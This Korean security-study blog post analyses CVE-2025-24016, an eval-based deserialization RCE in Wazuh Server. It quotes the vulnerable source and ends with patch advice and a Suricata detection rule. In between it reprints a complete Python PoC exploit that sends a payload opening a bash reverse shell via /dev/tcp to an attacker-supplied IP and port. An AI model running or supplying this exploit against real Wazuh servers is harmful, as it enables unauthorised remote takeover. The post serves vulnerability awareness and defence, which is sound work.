꼰머의 보안공부

1. Wazuh

- XDR과 SIEM 기능을 통합한 무료 오픈 소스 보안 플랫폼 [1][2]
- Wazuh Server, Wazuh Agent, Elasticsearch, Kibana로 구성

2. 취약점

- Wazuh Server가 DistributedAPI 매개변수를 적절히 역직렬화하지 못해 발생하는 원격 코드 실행 취약점 (CVSS: 9.9)

> 해당 취약점을 노린 Mirai 기반 봇넷 공격이 확인되며, 전 세계적으로 DDoS 공격이 확산되고 있음

영향받는 버전
- Wazuh Server 4.4.0 이상 ~ 4.9.0 이하

- Wazuh Server는 JSON으로 직렬화된 DistributedAPI 매개변수를 as_wazuh_object()를 호출해 역직렬화 (Line 30) [4]

1 class APIRequestQueue(WazuhRequestQueue):
2     """
3     Represents a queue of API requests. This thread will be always in background, it will remain blocked until a
4     request is pushed into its request_queue. Then, it will answer the request and get blocked again.
5     """
6 
7     def __init__(self, server):
8         super().__init__(server)
9         self.logger = logging.getLogger('wazuh').getChild('dapi')
10         self.logger.addFilter(wazuh.core.cluster.utils.ClusterFilter(tag='Cluster', subtag='D API'))
11 
12     async def run(self):
13         while True:
14             names, request = (await self.request_queue.get()).split(' ', 1)
15             names = names.split('*', 1)
16             # name    -> node name the request must be sent to. None if called from a worker node.
17             # id      -> id of the request.
18             # request -> JSON containing request's necessary information
19             name_2 = '' if len(names) == 1 else names[1] + ' '
20 
21             # Get reference to MasterHandler or WorkerHandler
22             try:
23                 node = self.server.client if names[0] == 'master' else self.server.clients[names[0]]
24             except KeyError as e:
25                 self.logger.error(
26                     f"Error in DAPI request. The destination node is not connected or does not exist: {e}.")
27                 continue
28 
29             try:
30                 request = json.loads(request, object_hook=c_common.as_wazuh_object)
31                 self.logger.info("Receiving request: {} from {}".format(
32                     request['f'].__name__, names[0] if not name_2 else '{} ({})'.format(names[0], names[1])))
33                 result = await DistributedAPI(**request,
34                                               logger=self.logger,
35                                               node=node).distribute_function()
36                 task_id = await node.send_string(json.dumps(result, cls=c_common.WazuhJSONEncoder).encode())
37             except Exception as e:
38                 self.logger.error(f"Error in distributed API: {e}", exc_info=True)
39                 task_id = b'Error in distributed API: ' + str(e).encode()
40 
41             if task_id.startswith(b'Error'):
42                 self.logger.error(task_id.decode(), exc_info=False)
43                 result = await node.send_request(b'dapi_err', name_2.encode() + task_id)
44             else:
45                 result = await node.send_request(b'dapi_res', name_2.encode() + task_id)
46             if not isinstance(result, WazuhException):
47                 if result.startswith(b'Error'):
48                     self.logger.error(result.decode(), exc_info=False)
49             else:
50                 self.logger.error(result.message, exc_info=False)

- as_wazuh_object()는 JSON 내부에 "__unhandled_exc__" 값이 있을 경우 "__class__" 및 "__args__" 값을 사용해 eval()로 호출 (Line28 ~ 30) [5]

> 그러나 사용자 입력에 대한 적절한 검증 없이 eval()를 호출하여 임의 코드 실행이 가능

1 def as_wazuh_object(dct: Dict):
2     try:
3         if '__callable__' in dct:
4             encoded_callable = dct['__callable__']
5             funcname = encoded_callable['__name__']
6             if '__wazuh__' in encoded_callable:
7                 # Encoded Wazuh instance method.
8                 wazuh = Wazuh()
9                 return getattr(wazuh, funcname)
10             else:
11                 # Encoded function or static method.
12                 qualname = encoded_callable['__qualname__'].split('.')
13                 classname = qualname[0] if len(qualname) > 1 else None
14                 module_path = encoded_callable['__module__']
15                 module = import_module(module_path)
16                 if classname is None:
17                     return getattr(module, funcname)
18                 else:
19                     return getattr(getattr(module, classname), funcname)
20         elif '__wazuh_exception__' in dct:
21             wazuh_exception = dct['__wazuh_exception__']
22             return getattr(exception, wazuh_exception['__class__']).from_dict(wazuh_exception['__object__'])
23         elif '__wazuh_result__' in dct:
24             wazuh_result = dct['__wazuh_result__']
25             return getattr(wresults, wazuh_result['__class__']).decode_json(wazuh_result['__object__'])
26         elif '__wazuh_datetime__' in dct:
27             return datetime.datetime.fromisoformat(dct['__wazuh_datetime__'])
28         elif '__unhandled_exc__' in dct:
29             exc_data = dct['__unhandled_exc__']
30             return eval(exc_data['__class__'])(*exc_data['__args__'])
31         return dct

3. PoC

- ~/security/user/authenticate/run_as URL 및 악성 JSON 페이로드를 포함 [6]

import argparse
import logging
import requests
from requests.auth import HTTPBasicAuth
import pyfiglet
import os
import time
import ipaddress
from packaging import version
import sys
import urllib3

logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)

def color_print(text, color=None):
    if color == 'error':
        return f"\033[1;31m{text}\033[0m"
    elif color == 'warning':
        return f"\033[1;33m{text}\033[0m"
    elif color == 'success':
        return f"\033[1;32m{text}\033[0m"
    elif color == 'info':
        return f"\033[1;36m{text}\033[0m"
    else:
        return text

def version_check():
    try:
        req_version = version.parse(requests.__version__)
        pyfiglet_version = version.parse(pyfiglet.__version__)
        logger.info(
            "Wazuh Current version:\n"
            f"Requests: {req_version}\n"
            f"PyFiglet: {pyfiglet_version}\n"
        )
    except Exception as e:
        logger.error("Pengecekan versi gagal karena %s", str(e))

def parse_args():
    parser = argparse.ArgumentParser(
        description="Wazuh RCE Exploit POC",
        formatter_class=argparse.ArgumentDefaultsHelpFormatter
    )

    # Required
    required = parser.add_argument_group("Required")
    required.add_argument(
        "-u", "--url", required=True,
        help="URL target (ex: https://<worker-server>:55000/security/user/authenticate/run_as)"
    )
    required.add_argument(
        "-i", "--ip", required=True,
        help="LHOST for reverse shell connection"
    )
    required.add_argument(
        "-p", "--port", required=True, type=int,
        help="LPORT for reverse shell connection"
    )

    # Auth
    auth = parser.add_argument_group("Opsi Auth")
    auth.add_argument(
        "-user", "--username", default="wazuh-wui",
        help="Username for auth"
    )
    auth.add_argument(
        "-pass", "--password", default="MyS3cr37P450r.*-",
        help="Password for auth"
    )

    # Opsi tambahan
    optional = parser.add_argument_group("Opsi Tambahan")
    optional.add_argument(
        "-c", "--config-file", type=str,
        help="Path to configuration file"
    )
    optional.add_argument(
        "-n", "--no-color", action="store_true",
        help="Nonaktifkan output warna"
    )
    optional.add_argument(
        "--version", action="version",
        version="1.0",
        help="Show program version"
    )

    return parser.parse_args()
def check_ip(ip):
    try:
        ipaddress.ip_address(ip)
        return True
    except ValueError:
        logger.error("IP tidak valid: %s", ip)
        return False

def check_port(port):
    try:
        port_int = int(port)
        if 0 < port_int <= 65535:
            return True
        logger.error("Invalid Port: %s", port)
        return False
    except ValueError:
        logger.error("Port tidak merupakan angka: %s", port)
        return False

def check_url(url):
    if not url.startswith("http"):
        logger.error("Invalid URL, make sure the URL starts with http:// atau https://")
        return False
    return True

def main():
    args = parse_args()
    
    def local_color_print(text, color=None):
        if args.no_color:
            return text
        return color_print(text, color)
    
    if not check_ip(args.ip) or not check_port(args.port) or not check_url(args.url):
        logger.error("Invalid IP/Port/URL")
        sys.exit(1)
    
    version_check()
    
    ascii_motd = pyfiglet.figlet_format("Wazuh RCE")
    custom_header = (
        "\n" + 
        "---------------------------------------------------\n"
        "           Custom Wazuh RCE Header\n"
        "---------------------------------------------------\n"
    )
    
    print(ascii_motd)
    if args.config_file:
        print(custom_header)
    else:
        print("Wazuh Server RCE - CVE-2025-24016")
        print("Research & Testing Purposes Only!")
        print("Unauthorized use is strictly prohibited.")
        print("By: Jessie at Pelindo Cyber Security Team")
        print("Credits: Aiman, Cahyo, Ihsan & the Arch \n")
    
    # Payload
    payload = {
        "__unhandled_exc__": {
            "__class__": "os.system",
            "__args__": [
                f"bash -i >& /dev/tcp/{args.ip}/{args.port} 0>&1"
            ]
        }
    }
    
    headers = {
        "Content-Type": "application/json",
        "X-Header-Name": "Custom-Header"
    }
    
    # Auth 
    username = args.username
    password = args.password
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    try:
        response = requests.post(
            args.url,
            json=payload,
            headers=headers,
            auth=HTTPBasicAuth(username, password),
            verify=False,
            timeout=10
        )
        
        if response.status_code != 200:
            logger.error("Kode status respons: %d", response.status_code)
            if "Unauthorized" in str(response.text):
                logger.error("Failed Authentication")
            else:
                logger.error("Respons abnormal: %s", response.text)
            sys.exit(1)
            
        print(color_print("Sucess Authentication!", "success"))
        print("Respons:", color_print(response.text, "info"))
        
    except requests.exceptions.RequestException as e:
        error_type = type(e).__name__
        logger.error("%s: %s", error_type, str(e))
        sys.exit(1)
    
    # Opsi shell
    reverse_shell_options = {
        "command": "bash -i",
        "reverse_port": args.port,
        "timeout": 5,
        "retry_count": 3
    }
    
    logger.info("Established connection reverse shell to %s:%d", args.ip, int(args.port))
    time.sleep(reverse_shell_options["timeout"])
    
    try:
        s = os.system(reverse_shell_options["command"])
        if s != 0:
            logger.error("Reverse shell failed: %s", str(s))
    finally:
        if 's' in locals():
            del s
    
    print(color_print("Reverse shell success!", "success"))

if __name__ == "__main__":
    main()

4. 대응방안

- 벤더사 제공 업데이트 적용 [7][8][9]

> eval()를 ast.literal_eval()로 변경 (제한된 타입-strings, bytes, numbers, tuples, lists, dicts, sets, booleans, None and Ellipsis-만 처리) [10][11]

- 탐지룰 적용 [12]

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET WEB_SPECIFIC_APPS Wazuh Server Serialized Unhandled Exception Payload (CVE-2025-24016)"; flow:established,to_server; content:"POST"; http_method; content:"/"; http_uri; depth:1; pcre:"/^(?:security|agents|events|groups)\x2f/Ri"; content:"Content-Type|3a 20|application/json"; http_header; content:"|22|__unhandled_exc__|22 3a|"; http_client_body; fast_pattern; content:"|22|__class__|22 3a|"; http_client_body; content:"|22|__args__|22 3a|"; http_client_body; reference:url,github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh; reference:cve,2025-24016; classtype:web-application-attack; sid:2060945; rev:1; metadata:attack_target Server, tls_state TLSDecrypt, created_at 2025_03_18, cve CVE_2025_24016, deployment Perimeter, deployment Internal, deployment SSLDecrypt, confidence High, signature_severity Major, tag Exploit, updated_at 2025_03_18, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)

5. 참고

[1] https://wazuh.com/
[2] https://documentation.wazuh.com/current/getting-started/index.html
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-24016
[4] https://github.com/wazuh/wazuh/blob/2477e9fa50bc1424e834ac8401ce2450a5978e75/framework/wazuh/core/cluster/dapi/dapi.py#L660
[5] https://github.com/wazuh/wazuh/blob/2477e9fa50bc1424e834ac8401ce2450a5978e75/framework/wazuh/core/cluster/common.py#L1561
[6] https://github.com/0xjessie21/CVE-2025-24016
[7] https://documentation.wazuh.com/current/release-notes/release-4-9-1.html
[8] https://documentation.wazuh.com/current/upgrade-guide/upgrading-central-components.html
[9] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71769&menuNo=205020
[10] https://github.com/wazuh/wazuh/blob/3aadee6d1f3115961036c68b11ca056665e23bc0/framework/wazuh/core/cluster/common.py#L1799
[11] https://docs.python.org/3/library/ast.html#ast.literal_eval
[12] https://asec.ahnlab.com/ko/87024/
[13] https://github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh
[14] https://www.dailysecu.com/news/articleView.html?idxno=166820
[15] https://hackyboiz.github.io/2025/02/22/empty/CVE-2025-24016/